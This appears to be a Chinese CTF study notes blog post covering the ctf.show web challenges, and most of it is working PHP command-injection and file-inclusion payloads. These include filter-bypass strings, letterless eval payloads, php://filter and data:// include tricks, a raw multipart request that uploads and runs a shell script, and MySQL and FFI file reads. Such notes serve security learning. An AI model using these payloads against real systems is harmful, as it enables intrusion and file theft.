WEB系统学习系列(一)

前言

决定从头开始系统性学习web,由于篇幅过长,分阶段更新,最后总结成一个超大md


进度

web1-web55


信息搜集

1.目录扫描

1
python .\dirsearch.py -u https://www.www.example.com

2.请求头/响应头信息


3.dns txt记录

1
nslookup -q=TXT https://www.www.example.com

4.页面信息泄露

1
电话,邮箱,技术手册

爆破

1.yakit编码爆破

1
2
爆破base64后的admin:xxxx格式
{{base64(admin:{{file:line(C:\Users\32965\Downloads\dic\dict.txt)}})}}

2.脚本爆破特定md5


3.php根据第一次随机数爆破随机数种子

1
./php_mt_seed 213614449(第一个随机数)

4.常见的爆破类型

1
域名爆破,密码爆破,用户爆破,目录爆破

命令执行

1.当目标函数为system();

1
2
3
4
5
6
7
8
执行linux命令,适用于linux特性
关键字绕过:
$@为空,$IFS为空格(有时需用${IFS})
"fl""ag"==fl\ag==fl''ag==fla?==fl$@ag==flag
语法绕过:
c\at<fl\ag==c\at<>fl\ag==c$@at$IFSfl\ag==c\at$IFSfl??==cat flag
/bin/?at${IFS}f???????


2.当目标函数为eval();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1.使用system();函数或echo `command`;,同上
2.使用php代码:
print_r();、var_dump();、var_export();打印出array数组
localeconv();获取当前区域设置(第一个一般是当前目录)
pos();获取第一个元素
scandir();获取传入目录下的文件-->array
array_reverse();列表倒序
next();下一个元素
array_slice();列表切割array_slice($array,start,length)
show_source();展示源码(如果是文件)
echo(implode('---',scandir("/"))); 查看/目录的内容,用---隔开

type1.
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
} exit(0);
?> //闭合的标签可以去掉

type2.
c=$a ="glob:///*"; if($b = opendir($a)){ while( ($file = readdir($b)) !== false ){ echo "filename:".$file."\n"; } closedir($b); }exit;
注入脚本读取目录

所以web31除了官方的写法,还可以这样写:show_source(array_slice(scandir(pos(localeconv())),2,1)[0]);

1
2
其实当目标函数为eval();时直接用'^','~'构造无数字字母payload,基本上是通杀
system("ls")-->(~%8C%86%8C%8B%9A%92)(~%93%8C);

1
2
3
4
5
6
多次传参绕过(目标函数为eval();):
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
注意include要用?>闭合文件开头的<?php

c=$_GET[1]($_GET[2]);&1=system&2=ls-->system("ls");
似乎只能传字符串,$_GET[1]&1=system("ls");不行

3.目标函数为include();

1
2
3
4
5
6
data伪协议base64编码
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
include();不支持用data传递文件名,但是可以用data传递文件内容,让他被包含,如<?php system('cat flag.php');?>

include($c.".php");-->data://text/plain,<?php system("cat f*");?> 当跟字符串拼接时似乎不能用base64


4.符号绕过

1
2
3
4
5
6
7
当过滤了很多符号时(? _ () ;能用)
1.cooke注入:c=session_start();system(session_id()); PHPSESSID值修改为命令,但是只能包含a-z, A-Z, 0-9, '-,'没啥用
2.使用内置函数:c=show_source(next(array_reverse(scandir(pos(localeconv())))));
3.过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字,使用|或运算得到目标字符
直接用官方给的exp.py rce_or.php生成payload
4.过滤了*?\时可以用[e-g]表示f


5.linux输出绕过

1
2
3
查看内容的命令cat、tac、more、less、head、tail、nl、sed、sort、uniq
system($c." >/dev/null 2>&1"); -->';' %0a(换行符,除了%还可以x十六进制) ||(前面执行失败时才执行后面的命令)


6.过滤字母并且目标函数为system();(不能用无字母数字绕过,不能用多次传参绕过)

1
2
3
利用.执行sh命令
如. ./test (test为shell脚本),如果当前目录在环境变量中,可不加'./'
而shell脚本可用post请求发出,会被保存为/tmp/php??????中

由此得到payload:

[@-[]]表示匹配@-[之间的字符,除了这两个外就是所有的大写字母

!!!/???/????????[@-[]会匹配临时文件中最后一个字母为大写字母的文件,由于产生的是随机大小写字母,所以可能会出现匹配失败的情况,要多试几次!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: 8f81a97d-7b17-4357-b189-89a80d361ea5.challenge.ctf.show
Origin: null
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryprQWhJH4tx9vMmve
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 312

------WebKitFormBoundaryprQWhJH4tx9vMmve
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

#!/bin/sh -->指定shell(可不写)
ls -->命令
------WebKitFormBoundaryprQWhJH4tx9vMmve
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryprQWhJH4tx9vMmve--


7.读取文件的函数

highlight_file(); show_source(); include(); readgzfile();

8.缓冲区劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

关键字:ob_end_clean();

1
2
3
4
可用c=include('/flag.txt');ob_flush();
ob_flush(); -->将缓存区内容发送至浏览器,并清空
ob_end_flush();-->将缓存区内容发送至浏览器,并关闭缓冲区
exit();、die();-->直接退出,绕过缓冲区劫持

9.mysql读取文件

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

10.ffi读取

1
2
3
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的,readflag为flag文件
$ffi->system($a);//通过$ffi去调用system函数

未完待续。。。